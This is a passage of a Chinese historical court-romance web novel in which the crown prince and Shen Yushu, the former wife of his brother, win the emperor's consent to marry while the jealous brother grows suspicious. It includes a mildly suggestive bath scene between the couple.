尚珏想:自恃不恃人,他们如果不万事倚靠别人做,这大厦如何倾。 / 扬州贪污案牵扯深远,甚至牵扯到了顶部几大世家,沈玉姝无法想象,尚珏是费了多少功夫才走进去,成了他们坚不可摧阵营中的一颗钉子。 “自恃无恃人,也是我母妃的遗言,被我记得很深。”尚珏低声说,“我们的事,先前桩桩件件,我一意孤行是我之过。” 他低头,眷恋地吻了沈玉姝的唇角:“但是夫人别生我的气,我不是不信你。” 这个桩桩件件,更是说尚珏隐着身份接近沈玉姝的事。 “……我没生气。”沈玉姝伸手挽上他的脖颈,错开脸,把下巴垫在他肩头,“好吧……只有一点点。” 尚珏莞尔。 好一会,沈玉姝才轻缓地眨了眨眼:“但你下次再敢欺瞒我,你就……不行。” “……换一个?” “你不敢?” “……不是。” “那你就是还打算欺瞒我,所以才不敢答应我。” 尚珏失笑,索性封碱了沈玉姝喋喋不休,形状饱满的唇。 “好好好,我答应夫人就是。”尚珏温声笑着,“要孤拟个旨,印金印吗?” 沈玉姝思考:“……好。” 她笑开,心底的一块被皮肉层叠埋着的指甲大的疙瘩终于消融干净,指尖不自觉地攥紧了尚珏的衣襟,似乎是想将他拉的更近。 “开玩笑的……” “太子妃一言既出,驷马难追,怎么能儿戏?回去就拟旨,和夫人的聘礼放一起,到时候一起送到沈府去。” 沈玉姝那点别扭的脾性散了后,脸皮薄得很,三言两语就红了耳朵,拿额头去撞他肩膀。 两人无声又闹了会,沈玉姝闷闷开了口:“以云该休春假了……我和陛下请出宫,回家。” “夫人决定就好。”尚珏换了个姿势,把沈玉姝抱着坐在他腿上,两人转而坐进罗汉床上,“只有一点,夫人不准先和沈大人摊牌,这种事还是男子先做的好。” 沈玉姝错愕着,心里说不清是个什么情绪。 她抿着唇,偏脸埋进尚珏胸口,好一会说:“好……那你要快一点。” 芳菲殿外,一道窈窕纤细的身影禹禹走远。 ***** 三日后,恭王府。 尚琢用着尚珏给他的金疮药,身上伤口好了七七八八,行走没什么大问题了,只是容易牵扯伤口,便只坐着素舆出入。 他坐在主院里,随手翻着手中的书卷。 他睫毛颜色深、数量多,光一打,浓密一片,在冷白的肤色上打出一片水墨色,显得有些阴鸷。 忽的,他轻轻搁下书:“梅院里的梅花是不是谢了?” 小厮道:“是,谢了有些日子了。” 尚琢手肘撑在扶手上,手指一点一点敲着额角,声音平冷:“拔了,换桃花。” 芳菲殿外的桃花开的灼眼,他料想沈玉姝也是喜欢桃花的。 小厮愣怔:“绿萼梅娇贵,今岁若是拔了,明年该长不了了。” “本王说,拔了。”尚琢寒声冷睨。 小厮后背惊出冷汗,连忙应下:“是,王爷。” 正说完,小厮将出去就碰见匆匆回来的苏公公,忙问了安走远了。 苏进也没在意,操着不太方便的身子,灵活地跑进院:“王爷王爷!” 尚琢分去半分视线,旋即收回来,拿起手上书卷。 只是一页纸还未翻过去,就听苏进激动道:“沈小姐……王妃她出宫了!” “出宫?”尚琢合上书,忙抬起头。 “是,三公主春假,王妃就请假回家省亲,现下刚出宫呢。” 尚琢眼神亮了几分,脸病态冷白的肤色都多了一层薄薄的血色。 也就是说,他现在去沈府,有概率遇到正巧回来的沈玉姝。 “正巧”,向来是个旖旎的词。 “走,去沈府。”尚琢当机立断,拒绝了苏进推素舆的动作,撑着起身,小步往外走去。 他的步子最开始因为伤口牵扯,对病痛生涩走得慢,走出几步后便快了起来,不用苏进搀扶,便与常人无异,只有脖颈紧绷的肌肉能看出几分端倪。 主院到大门的路不远,马车停在外头安静候着。 尚琢刚跨过门槛,视线下意识一望,便看见站在门边,亭亭玉立的窈窕身段,是何之纯。 他轻微有些错愕,眉头随即皱起:“怎么在这等着?” 不知何之纯等了多久,总之脸上没透露出一点苦意,挂着往常温和素净的笑意,轻轻一福身:“臣女见过王爷。” 何之纯以往哪会对他这么生分。 尚琢张了张嘴,意识到自己对她的冷淡。 他顾着沈玉姝,所以刻意生分了何之纯,但何之纯没做错什么,她善良又温和,甚至救了他一命,所以即便是他心有所属,也不该对何之纯不闻不问才是。 尚琢有些抱歉,神色便软了几分:“你来恭王府,与奴才同传一声就是,怎么在这等着?” 何之纯轻轻弯了唇角:“臣女听闻殿下受伤,心里担忧,来过许多次了,但一直不曾得见,只能出此下策——” 她话音一转,轻易地掀掉那个话题,示弱又不显刻意,然后道:“臣女今日来,是想与王爷说一件事……” 她神色透着纠结,欲语还休:“臣女有些拿不准,但事关重大,还是想亲口与王爷说一下。” “是和沈小姐有关。” / 恭王府的马车咕噜噜停在沈府的巷子外,隐在一个拐角,不细看看不出来。 尚琢坐在车里,面色绷得死紧,下颌因为牙齿咬合而绷出一条肌线来,微微颤抖着。 苏进不知何之纯说了什么,让王爷动怒至此。 但又不像王爷往常发怒的模样,一副克制压抑的样子,像是不知与谁发火,急需得个论证似的。 良久,他听见恭王咬着牙根发出的声音:“沈玉姝的车还有多久来。” 苏进思忖着估量:“应该差不多了。” 尚琢重重闭上眼,耳边不住地回荡何之纯和他说的话。 太子、沈玉姝…… 怎么可能呢?这两个人怎么可能掺和到一起?怎么可能! 但尚珏次次出言维护、不让他见沈玉姝,又像是有迹可循。 不可能的…… 不可能的。 尚琢猛地睁开眼,用力掀开门帘,大步跨下车,呵斥身后要跟下来的苏进:“不准下来!” 他想:不可能,尚珏坐着太子的位置,不可能做这种事。 江山和美人,孰轻孰重,尚珏不可能是个蠢货。 肯定是何之纯弄错了。 忽的。 白日里有些喧闹的市集尽头,咕噜噜冒进一个模糊的马车轮廓。 那马车制度规整,两马打头。 只是普通的皇家仪制。 尚琢紧着呼吸,紧紧盯着那架马车,似乎要把它盯出一个窟窿来。 “咕噜噜——咕噜噜——” 车辙声 越发近,几乎撵在尚琢的心头。 随之更近的,还有车前檐下的挂牌。 上面挂了一颗铜铃,制式古朴简单。 车夫年轻,是平德帝身边的小太监。 不是东宫。 尚琢那口气骤然松下,背后冷汗岑岑。 他就知道—— 沈玉姝怎么会和尚珏搞在一起。 那他就还有机会。 第78章 第78章“儿臣爱她” 沈玉姝从马车上下来,踩在久违的沈府门前青石板上,分明才一月,但总觉得有些恍然。 她平白觉察到了一丝窥探的视线,转过去去寻,投到街道渺茫的尽头,又什么都没看到。 大概是错觉。 沈玉姝这么想着,抬步便要进府,却听身后车厢里的雪青又忙叫住:“沈小姐!” 沈玉姝回头:“嗯?” 雪青拿着一方食盒探身走下来,递给她:“是太子殿下特意命御厨做的点心,开胃的,里面不多,一日的量,里头原料易坏,可不能留着到第二天,明日奴婢再来给小姐送。” 见状,沈玉姝稍怔了一下,随即甜笑接过:“好,那劳你往东偏门走……陈肆应该知道。” 雪青笑道:“不瞒小姐说,东宫里和太子殿下亲近些的都知道沈府的几个偏门怎么走。” 沈玉姝被平白闹了个红脸,赧然收了个尾,连礼数都不肯顾及,匆匆就进了府。 即便她将尚珏以前刻意接近做的事知晓了七七八八,但剩下的三三二二总是在措不及防地时候突然冒出来,然后又软又重地撞在心口上。 等沈玉姝沿着小路走远了,进了芜院,怦怦乱跳的心口也没停。 她面色平静关上门,转身像是放松似的,将上半个身子靠在门板上倚着,好一会,才轻轻吐出了一口气。 沈玉姝攥着食盒柄,糟糕的发现,才半个时辰,她就有点想尚珏了。 ***** 尚珏站在宫门处,估算着沈玉姝莫约已经到了沈府,这才动了动许久未变的姿势,敛袖准备往东宫走。 还未动,却听一道尖细带着喘息的声音在一旁响起:“太子殿下,陛下传您过去。” 陈肆微动着眼,看太子殿下对这桩显然不善的传唤是个什么态度。 久而,只听太子殿下哼笑一声:“走吧,倒省的孤去寻个由头。” 陈肆低下头,跟在尚珏身后两个身位,沉默往御书房走去。 / 御书房外的气氛显得有些凝重。 尚珏混不在意挽着笑,抬手推开御书房的门。 他腰间青玉因为步子撞到门框上,带出一声很轻的撞击声。 刘全无声带上门。 尚珏眼底含着惯常的笑意,注视着桌几后批奏折的平德帝,一步一步踏着波斯进贡的软垫走进去。 等到了下首,他才全礼一立,恭敬推了个揖:“父皇。” “沈家小姐走了?”平德帝头也没抬。 “嗯。” “人既是你带来的,怎么不用你东宫的人送,专使了朕的人。”平德帝批完一本奏折,抬起头,语气淡淡。 “父皇的人妥当。” 平德帝沉默。 尚珏穿了一身藏绿的长袍,腰封一扣,托着整个人颀长清俊,好似独立的竹。 平德帝看着他,不知道什么时候起,尚珏和他满意的储君越来越像,又越来越不像。 他记得他的父皇,冷漠暴戾,他背上现在还有他留下的鞭痕。 有可能是因为课业没背好,也可能是因为对宫女道了谢。 但尚珏没有,他和尚家暴戾的血脉背道而驰,反倒像极了早亡的谈静安,克制冷静。 平德帝眯了眯锐利的眼,嘬了一口茶。 良久,他道:“你既然坐着这个位置上,就该行好储君之责,分外多举,自己应该知道孰轻孰重。” “孰轻孰重。”尚珏字字念着这个词,忽而弯了眼,“儿臣不知自己何时轻了重、重了轻了?父皇有话不如明说。” 他话说的分毫不惧,他早试平德帝的底线,他与他一样清楚明白,尚琢坐不了他的位置。 平德帝置了茶盏,冷哼一声:“你不把人当傻子,分分明明舞到朕的面前,告诉朕你和那芳菲殿的人是什么关系,现在反倒来问朕?朕倒是想问问,朕的太子在想什么,你知不知道沈家小姐是什么身份?” 尚珏笑意收敛。 事实上他平日去芳菲殿从未走隐蔽的小路,为的就是让平德帝查到端倪,有些事,让他查到再问,比忽的说明要好得多。 尚珏无甚感情地弯了弯眼:“儿臣不是早告知过父皇吗?有夫之妇啊。” “混账!”平德帝骂一声,“那是你弟妹,京中人尽皆知,若是满朝皆知堂堂太子殿下和他弟妹厮混,你不要脸,朕还要脸!” “他们已经和离了。”尚珏的眼睛生的好看,平日一瞧,折着四面的光,像波斯进贡的上好的宝石,如今冷下脸,眼皮一耷,就更显得冷漠怒意的情绪明白,“容儿臣一问,不知父皇您可曾真的在意过尚琢和沈小姐的婚姻。” 他这句反问,问的平德帝一止,他皱眉,“你这是何意。” 尚珏扯了扯唇角:“父皇若当真在意过,就早该知道,现在宗人府里摆的那份玉牒,尚琢的名字后跟的根本就不是沈玉姝三字,而是何之纯!” 他的声音不算大,却掷地有声。 皇家成婚是重事,皇子迎娶的王妃都要在玉牒上上名,是礼仪更是规矩。 若那份玉牒里从未有过沈玉姝的名字,而是另一个女人,那这就是整个礼乐的崩坏。 天底下的读书人一人一口唾沫都够淹死恭王府。 平德帝愕然,一时竟说不出话。 他怎么也没想到,尚琢竟胆大至此。 尚珏平静的看着平德帝。 他想:他和平德帝,真是如出一辙的自我,谁都不愿意在无关紧要的人身上多费半刻的功夫。 “玉牒都没上,何谈弟妹人伦一说。”尚珏颇为嘲讽地笑了声,“儿臣与沈氏女相识更早,若真要论起错,还是那桩端午家宴,是谁动的手脚呢?一份普通果酒怎么致醉?谁带沈玉姝去的偏殿,尚琢是怎么进去的?” 尚珏语气称得上温柔:“儿臣找到了那个宫女。” “她在你那?”平德帝错愕。 “她是扬州人,正巧被儿臣的朋友碰上,如今在扬州活的挺自在,拿着那位给的银两购置了田地房产开了包子铺。”尚珏说,“儿臣还没有找过她。” 他们心知肚明,是皇后做的。 尚珏赌平德帝要保皇后。 平德帝和他不一样,平德帝被那扭曲变态的制度浸得透彻,几乎偏执地做着挑选和保障的事,挑选继承人和保障皇后。 所以尚珏在赌,赌平德帝比起让尚珏迎娶弟妹,更愿意去维护一个穿透他人生的制度。 果不其然。 平德帝沉默了良久说:“你不用去找她,到此为止。” 尚珏没说话。 平德帝看着尚珏这双和谈静安如出一辙的眼睛,好一会才说:“你就这么确定你喜欢那沈玉姝?那你的储君呢,你是你母妃用命换的康庄大道,你舍得沈玉姝的命,还是甘愿你的孩子不走你的路?” “你甘心?你受了那么多苦,你甘心他不受你吃过的苦?”平德帝阴鸷地笑了声,“朕的太子什么时候这么无私了。” “她的命换的不是儿臣的康庄大道,是她的自由。”尚珏说。 平德帝倏地一怔。 “为什么不甘心呢,若是真喜欢,自然是喜爱与她的一切,既然喜欢,就怎么会舍得她受那种苦。”尚珏轻笑,用一种堪称透彻的眼神看着平德帝。 “父皇,你不是也是这样吗?” 维持多年的薄纸骤然被撕碎。 人人皆说,平德帝喜爱尚珏聪颖、重视尚珏,甚至为此绝了其他皇子储君的路。 但事实上呢? 平德帝还记得尚珏早早念出第一句诗的样子,他第一反应不是欣慰,是厌恶。 他厌恶世界上另一个自己。 他从那时起就知道,他这条毒虫选中的幼虫,就是尚珏,他们要走一样的路,没人对着另一个自己会散发温情,他堪称冷酷地执拗让尚珏步步走着他吃过的苦、受过的难,几乎像是宣泄了,直到宣泄如今,他才觉得身上的疤痕淡了三五分。 “您不舍得让尚琢走这条路,儿臣也不舍得让儿臣的孩子走这条路。”尚珏轻笑,“她怀孕了,儿臣确信了会安排好所 有为他们好的路。” 平德帝跌撞坐在龙椅上。 直到这时,他脸上知天命的岁月痕迹才分外明显。 尚珏心想:他老的很快。 龙椅上的平德帝大口大口吸着气,视线不知放在哪里。 “她怀孕了?” 他忽的说。 “嗯。” “几个月了?” “四个月。” 平德帝算着时间:“你除夕不在,是和她在一起啊。” “嗯。” 平德帝重重闭了下眼,复而睁开:“快显怀了,当初她的婚服赶得急,用的是平亲王妃的旧服,现在让尚衣局连夜赶制,应该也差不多。” 说到这里,尚珏冷漠良久的神色柔和了三分:“嗯,儿臣早便做好给她的婚服,改个尺码便好。” 平德帝张张嘴,说不出话了。 许久。 “罢了,朕就一个要求。”平德帝说,“朕将浙江赐给尚琢做封地,朕要你保你弟弟一世安稳。” 尚珏勾了下唇,声音冷然:“自然,他是儿臣弟弟。” “行了,出去吧,挑个日子带她来见见朕,朕还没见过孙儿。”平德帝站起身,他的身形好似忽的衰老十岁有余,在威严宽大的龙袍下面,竟然显得有些消瘦。 他疲惫的揉了揉眉心,没再与尚珏多说,转身走进内殿,跌跌撞撞。 尚珏收回视线,恭敬行了礼:“儿臣遵旨。” 他随即起身,毫不留情地转身离开御书房。 这日其实是个晴天。 御书房外没种花,只有蟋蟀或者蚊虫的细小声音。 尚珏立在廊下,心中是罕见的轻快。 他眸色柔和,只想立刻见到沈玉姝,抱着她吻着她,告诉她他的心意。 不过一个半时辰未见,他不可收拾地想着沈玉姝。 第79章 第79章“夫人,我带你回宫见长…… 沈玉姝回来的事,没提前跟家里说,怀夫人都是在宫里马车到门口时,才听小厮来报了消息。 她赶忙让人去打扫了芜院,又唤人去把还在国子监的沈策叫回来,最然后唤人去烧一桌子菜,准备在晚上给沈玉姝接风洗尘,连沈经汇都得了敕令休假一日。 饭桌上,沈策还穿着一身绛紫色袍子,有些疲惫,显然是一听消息就赶回来的。 沈玉姝坐下先问了二人安,随后道:“父亲,国子监很忙?” “是啊,春考结束了,都忙着阅卷呢,有些学生心思浮动——难管的很。”沈策摇摇头,喝了一口汤,满脸倦容。 沈玉姝点点头,抬手夹了一箸菜。 她忽然想起自己最开始见尚珏的时候,还以为东家也会参加今年春考,心觉是个有些家底的书生。 没想就短短五个月,简直天翻地覆。 一顿饭吃的还算平稳,大抵是沈玉姝得了还算不错的前程,沈策也不催着她成婚了,反倒细心教她该怎么因材施教。 沈玉姝安静应下。 这顿饭吃完真的时候,已经到了戍正。 沈玉姝告辞了几人,独自回了芜院。 一进芜院,侍女见她回来,便忙迎上来。 沈玉姝摆摆手:“烧桶热水来,然后就下去吧。” 侍女迟疑:“不用奴婢伺候吗?” “不用。” 侍女便也不再坚持,热水是一直有备好的,手脚麻利倒了两桶来之后便回了偏房。 沈玉姝独自拆了发饰,褪了外袍进去湢室。 里面热水蒸腾得熏眼。 还没走几步,忽的微弱脚步声传来,一双有些糙的手猛地捂住她的眼睛,眼前景物瞬间被剥夺。 沈玉姝身子顿时一僵。 “谁家小姐生的这么水灵?”含笑的男声从她身后响起。 “……” “尚珏,你好无聊。”沈玉姝拨开他的手,撇嘴说。 “夫人真聪明,这么快就认出我了。”尚珏拉着她的手,将她背对他的身子调了个圈,随即一揽腰,将人拉进怀里,双眼含笑地瞧着她。 这个距离太近了,沈玉姝的鼻尖几乎能碰到他皮肤上薄薄的短毛。 她扬起脸随意和他鼻尖蹭了一下,语气转了两道说:“我就知道你要来。” 尚珏扬着尾音:“哦?难怪夫人把婢女都支出去了。” 他偏眼,扬手勾了沈玉姝一绺头发,缠绵地在手指上绕了一圈,忽的一笑:“倒是我的错了,那罚我给夫人沐发?” 他的虎口痣,缀在偏白的肤色上,托着那段乌黑的头发,几乎有些抢眼。 沈玉姝便想起邑城那段狎昵的日子。 她脸无端一红。 尚珏便瞧着她笑:“孤还记得夫人那时候害羞得要命,牵你也脸红、接吻也脸红,说句话也脸红。” 他哼笑一声,然后说:“只有在床上的时候,把夫人弄服了,才没心思想别的事……” 沈玉姝不肯他再说,但偏偏手被尚珏连着腰一起揽着,动弹不得,只能垫脚,张口啊呜咬在尚珏嘴唇上。 她听尚珏低低吃痛,便心情好了三分地弯了弯眼:“看你还说。” 尚珏是个习武的,那点痛对他来说和踩到一颗小石头没什么两样。 但这样的沈玉姝太鲜活了,冲破清纯皮相的狡黠,让他一看就硬的要命。 他用力闭了闭眼—— 沈玉姝怀孕,他不能做那么禽兽的事。 可他越这么想,那股火就烧得越旺,连喉口都干涩起来。 “诶,你不理我。”沈玉姝又向他走进小半步。 这个时候,他们之间的距离已经完完全全贴到一起,再没更近的距离那股子滚烫的温度毫无阻碍地烧红了沈玉姝的皮肤。 沈玉姝受惊似的瞪大眼:“你怎么?” “我怎么这也能硬?夫人是想说这个?”尚珏闷笑,声音哑得有些惑人的粗粝,他没给答案,压着沈玉姝的后脖接了个绵长的吻,直到人快要喘不上来气的时候才松开。 “吸气。” “啊……” 吻再次落下,沈玉姝的鼻腔全是尚珏那股沉淡的味道,几乎要将她的皮肤熏透。 她闻着那股味道,无端的,这次吻居然不至于让她窒息。 等松开的时候,尚珏笑喘道:“挺好,夫人无师自通了。” “通什么?”沈玉姝愣愣。 “换气。”尚珏含笑拨了一下她的鼻尖,随即不等人回应,一把横抱起抬脚将人带进浴桶里。 “哗啦——” 不堪重负的浴桶溅出大片的水花。 沈玉姝惊呼一声紧紧环住尚珏的脖颈,低低尖叫一声:“你干嘛呀。” “沐浴。” 尚珏这么说着,真就没再做出什么出格的事,安安分分替沈玉姝沐发。 他手上是安静了,但坐在他身上的沈玉姝却一点没松气。 那处一直咯着腰窝,这么久了,丝毫没有饶恕的意思。 沈玉姝有时会忍不住想说:要不我用手吧。 但身子一动,那物的尺寸几乎骇人,让她想不通自己之前是怎么接纳的。 她抿了一下唇,迟疑着说:“要不我用手……” 沈玉姝话音刚落,就敏锐地觉察身后人的动作骤然一顿,随即她肩膀一阵刺痛。 她低呼一声,偏眼看见肩头上多了一个不深不浅的牙印,始作俑者已经退回去,轻笑说:“夫人别勾我,今日只用手可不够。” 沈玉姝脸一红,不肯再说话了。 尚珏只闷笑,没再闹她,安静替她沐浴完,将两人身子擦干,再替沈玉姝擦干了头发,这才拿过中衣给沈玉姝穿上。 然后两人就发现一个棘手的问题:芜院没有尚珏的衣服,更没有男人的中衣。 沈玉姝无辜地眨眨 眼:“……是你自己要下水的。”说完便乐不可支地笑倒在尚珏怀里。 尚珏无可奈何地搂着她:“……小没良心的。” 最后尚珏还是跨不过穿旧中衣睡觉的槛,便随意拿了块沈玉姝干净的沐巾裹了下身,抱着人上了床。 现下没了任何外界环境干扰,只有干燥的床榻和他们二人。 沈玉姝枕着枕头,没什么睡意,忽听尚珏长长叹谓一声:“姲姲,终于能光明正大带着你回去了。” “姲姲”这个小名,是沈玉姝娘亲喊的,后来她去世之后,就几乎没人再喊过了。 她不知道尚珏打哪知道的,但久违听见这个名字,她心里软得很。 沈玉姝嗓音软了八度:“……什么意思?” “父皇今日召见我了。” 沈玉姝眼睛骤地睁开,有些紧张攀着尚珏裸露的手臂问:“有没有受伤?不是说好我们一起去的吗?” “没事,没动刑。”尚珏伸手揽了一下她,将她拉进怀里,“是父皇发现的,不是故意不带你,他答应了,让我挑个日子带你回去,他想见见你。——后天吧,你在家里先陪陪沈大人和怀夫人?” 沈玉姝眼睛又酸又涨,好一会才闷闷点了一下头,额头一下一下撞在尚珏的胸口:“……好。” / 第二日清晨,沈玉姝醒的时候尚珏已经不在了,床边的桌上摆了一方紫檀木食盒,下面还压了一张纸。 沈玉姝躺着缓了一会混沌的睡意,然后走下床,趿拉着鞋走到桌边,拿起那张纸。 上面是尚珏力透纸背的字:今日早朝,问夫人早安。 沈玉姝笑了声,将纸张叠起,收到梳妆桌上的妆匣里。 里面带着尚珏之前给她的信,和那根被她鬼迷心窍收起的穗子,一起塞满了一整个盒子。 沈策一早就走去了国子监,沈玉姝闲来无事,本想去看看温慧,问问第一次见长辈的经验,但临到头又有些紧张的退却,索性转道去问了怀夫人。 她打听得隐晦,就好像一个好奇的晚辈。 怀夫人想了想说:“其实没什么,我和你爹不算媒妁之言,意外见过的,然后才派了媒人——第一次见长辈,有点紧张,差点打了茶。” 沈玉姝瞪着眼:“那会不会显得很失礼?” “不会,长辈不会和晚辈计较那一点点小事,无关紧要的插曲罢了,他们什么没见过?” 沈玉姝对此深以为然,但这一天晚上还是不免失眠,翻来覆去睁眼到天亮。 / 四月初十。 沈玉姝用过早膳,就听侍女来报:“小姐,东宫的马车在府外等您。” 她语气有些奇怪,大抵是不理解为什么是太子殿下。 但沈玉姝没有解答的意思,轻轻点了头,便起身去更衣梳妆。 等她到马车处的时候,已经是一刻钟后了,不算久。 尚珏立在马车边,远远看见沈玉姝穿着一件风信紫的对襟褙子,半梳的待嫁发髻,单单簪了一根南珠簪,耳垂挂着一对南珠耳坠,尽数是尚珏送出的手笔。 尚珏很难形容这一刻的心情,只觉得好像当初拿到扬州案关键性证据时都没有这么愉悦。 像心口被某种容易膨胀的东西填满了,轻而易举蚕食殆尽。 沈玉姝走近了,便看见尚珏勾唇含笑,半倚靠在马身上。 居然在光风霁月的太子殿下身上看出了一点玩世不恭。 但这其实是欲望被满足的餍足。 只是沈玉姝不太理解。 她弯着形状姣好的唇,正要说话,就见尚珏冲她伸出一只骨节分明的手,手掌朝上的姿势盖住了那颗虎口痣。 尚珏扬着笑说:“夫人,我带你回宫见长辈。” 沈玉姝抖着睫羽,轻飘地应了声“嗯”。 第80章 第80章“愿意嫁给我吗,姲姲”…… 尚琢在丽妃宫里听她说着话。 丽妃说:“你父皇最近有打算给你拟一个好封地,你安安分分的,不要再闹什么事,不要再为了一个女子不像样,更不要惹了太子殿下。” 尚琢面无表情听着,直到丽妃说到“太子殿下”时,才不可察地抬了一下眼,掠到丽妃身上又收回。 “你有没有听见本宫跟你说话呢?”丽妃恨铁不成钢。 尚琢这才似有似无地扬了下下巴,应声嗯。 他心觉无聊,正打算说什么离开的时候,就见苏进快步走进来,先冲着二人全了礼,然后走到他身边。 尚琢偏了下眼。 苏进附耳道:“沈小姐回宫了。” 尚琢挑了下眉:“以云不是还在玩吗?” “是陛下召见的,太子殿下亲自去接的人,具体的奴才也不清楚。” 尚珏亲自去沈府接人? 尚琢心念微动。 这个时辰太早,不过刚刚下了早朝,若是以一个外人身份,去女子家中接送,未免太过失礼,是一个不管做什么都很不合时宜的时辰。 他忽然想起何之纯那天和他说的话: “我看见……太子殿下一直在芳菲殿,不知道做什么。” 那股被他强硬忽略的不适重新涌上来,让尚琢心脏猛的空了一拍,太阳穴到腮帮的那根筋因为用力绷得死紧,生出一种空悬感。 “怎么了?”丽妃突然出声,奇怪的看向他。 “没事。”尚琢强压着因为心慌而干涩的声音,囫囵回应一声,然后对侧头低声对苏进说:“你去查查沈玉姝在宫中这些日子,尚珏都在哪……还有,查一下祈福的时候,沈玉姝都见了谁。” ***** 马车到止马碑的时候沈玉姝还有点惶惶,她从来没有觉得这条路这么快。 “殿下、小姐,到了。” 沈玉姝回过神,发现左手还被尚珏牵着,五根手指都被张开卡住,扣得死紧,她动动指尖,发现手心出了一层薄薄的汗。 她习琴多年,从来没有手汗的毛病,这是第一次。 她缩了一下手,有抬眼对上尚珏有些促狭的笑。 “……干嘛。” “看夫人漂亮。” 沈玉姝不理他了,兀自收回手,拿着手帕细细擦着手心,然后哼一声,把手帕扔尚珏怀里,让他自己擦去,随即率先下了车。 远远还能听见尚珏愉悦的闷笑。 / 沈玉姝走在尚珏前半脚掌的身位,一路往御书房走去,远远就看见刘全站在院子里迎着他们。 二人走近了,刘全周全打了个千儿:“太子殿下、沈小姐,陛下已经在里面侯着了。” 沈玉姝闻言舒了下眉眼,弯着展出一道好看的弧度:“有劳公公。” 刘全稍怔了一下,他不得不承认,沈家小姐确实生的好,性子也好,二人在一块……大抵整个京城翻过来,也找不出比二人更登对的了。 他收回思绪,领着二人到廊下,周到地替二人开了门:“陛下,太子殿下和沈小姐来了。” “嗯,进来吧。” 沈玉姝一直没说话,听见这句话才有点动静,偏眼看了一下身侧的尚珏。 那股紧张感从她的眼角眉梢漫开。 尚珏伸手用力握了一下她的手,一瞬分开。没让平德帝发现,但热度却把沈玉姝极好地安抚了。 御书房里放了四张圈椅,都搁了比平日稍厚的软垫。 二人走进去行了礼。 平德帝没穿龙袍,而是相对日常的长袍。 他轻轻颔了一下首:“起来吧——听太子说你怀孕了,不必行礼,坐下吧。” 沈玉姝应声好 :“多谢陛下。” 尚珏没坐,只神色淡然站在她前面。 平德帝视线从他身上掠过,落在沈玉姝身上:“怀了孕身子可有不舒服?” “……还好,就是有点没胃口。” 平德帝不置可否地嗯了声,神色不明,好一会才说:“你父亲知道你们的事吗?” 沈玉姝怔了下,乖乖摇头:“不知道。” 平德帝冷笑。 “是儿臣不让她说的,儿臣想您答应了,直接去送聘礼。”尚珏出声说。 “朕在问她。” “玉姝是儿臣要娶的人,您问她和问儿臣是一样的。” “那你出去,朕要和她说话。”平德帝咬牙道。 尚珏还欲说,小指忽的被勾了一下,轻轻的,像被羽毛刮了一下。 他低头看去,沈玉姝对他轻轻摇了一下头,“你先出去吧,到时候我父亲那里,还要你说呢,所以今天就我和陛下说好了。” 尚珏被她拉着,瞳孔格外黑沉,良久他说:“行,别和他吵架。” 他们声音不大,平德帝听得一清二楚,他重重闭了下眼,扬声:“刘全,带太子出去。” “不用。”尚珏冷淡地冲平德帝牵了一下唇角,然后伸手摸了一把沈玉姝的头发,转身出去了。 等殿内只剩二人的时候,平德帝才开口:“祭酒性子迂腐、好面子,你就这么确定他会答应你们的事?实话说,如果不是因为某些原因,朕不可能会点这种荒谬的头。” “会的。”沈玉姝说。 平德帝顿了一顿,视线从沈玉姝的耳垂划过,忽而笑了:“到底是年轻气盛,总觉得自己有对抗全世界的勇气,你想好了之后会遇见什么吗?过了数百年后的史书,后人会怎么评价你?你想好自己能承担了?” “……如果事事都顾念身后的名声,那人的一步一行也太受限了,如果臣女顾念的话,当初就不会下定决心和恭王殿下和离——陛下说的东西臣女都迟疑过,是太子殿下坚定,才让臣女分得了三分勇气。”沈玉姝弯了弯眼,“陛下教导了很好的储君,臣女也很庆幸能遇见他。” 气氛稍显静默,随即被一阵闷笑打破: 平德帝两指撑在额角,低低笑着,笑声越发舒朗。 “你倒是和尚珏说的话如出一辙。” “他也说了这个吗?” “不,但对朕而言,是一样的。”平德帝含着笑,显出不动声色的审视来,“但愿你们是真的想好了。” 他的视线又落在沈玉姝的耳垂:“这南珠坠,是尚珏送的?” 沈玉姝下意识地抬手碰了碰耳垂,指尖带着南珠前后晃了晃:“是。” “他倒是真喜欢你。”平德帝笑说,“这套南珠首饰,是他母妃的嫁妆,尚珏封太子时和朕要了去——他送了你一整套吧。” “……是,头面首饰。”沈玉姝微张着唇,愣怔说着。 她不知道这套南珠首饰后面有这么个事,可是这对耳坠送的时候,是她和尚琢刚成婚的那天……尚珏就没有想过,如果她真的就这么和尚琢过下去怎么办? 平德帝轻轻摇了一下头:“朕就说他当初为什么急着从扬州赶回来,宫都没回就去婚宴……罢了,怀孕了胃口不好,等会朕让刘院判给你开帖开胃的药,注意着身子。” 他轻呼了一口气:“朕是半截身子身子入土的人了,有些话朕对尚珏说了,但他性子桀骜,所以朕要再叮嘱你一遍。” “陛下您说。” “尚珏继位后,尚琢划浙江封地,封江浙王,你要保证他一生富贵消散顺遂,除去谋反,任何事不得伤他。” 沈玉姝没想到平德帝的嘱托是这个,这种毫无索取的温情,她从来没有在平德帝对尚珏身上见过。 但她没有多问,说:“如果太子殿下答应了的话,他一定会遵守诺言,陛下不用担心……但是,臣女答应陛下。” 平德帝也不知信了没信,只扬了下巴,才唤了尚珏进来。 但还没说话,就见尚珏径直去握了握沈玉姝的手,问:“说什么了?” 沈玉姝摇头:“没什么。” 平德帝看着二人一来一回,伸手敲敲桌子,打断道:“行了有话等会再说,纳吉的日子选好了吗?” “四月十九。” “十天?太短了,聘礼来不及备好。” 大抵是终于定下好事,尚珏语气透着止不住的愉悦:“儿臣早备好了。” “……” 平德帝像是不想再说话了,他用力掐了下眉心,啧了声说:“赶紧走。” 到这里事其实也说的差不多了,沈玉姝便站起身,恭恭敬敬随尚珏一同行了礼,只是在踏出殿门的一瞬间,还是没忍住回头,说:“多谢陛下。” 她知道,他们的事有悖人伦,所以即便平德帝是无可选择地答应,她也依旧感谢。 平德帝摆摆手,让刘全关上门。 两人一路往外走,把御书房远远甩在身下。 他们来的时候,进了宫后一点界不敢越,生怕给平德帝留下不好的印象,但走的时候却是百无禁忌了,尚珏生怕牵的隐蔽,没人看见,还特意卷了一下袖袍。 沈玉姝没忍住笑了一下:“你好幼稚,尚珏。” 尚珏挑眉:“好不容易娶到的娘子,当然要昭告一下。” 沈玉姝轻轻打了他一拳,好笑地没说话。 她原本想问尚珏,他有没有想过,她和尚琢有可能不和离的事,那他母妃的遗物不就平白落到了外人手里。 但转念一想,又觉得没有必要,尚珏肯定清楚,要么是他不在意,要么是他势在必得。 沈玉姝不想要一个准确的答案了,她知晓心意就足够,只有些惋惜,没对这套首饰再精细一点,平白糟蹋了德妃娘娘的东西。 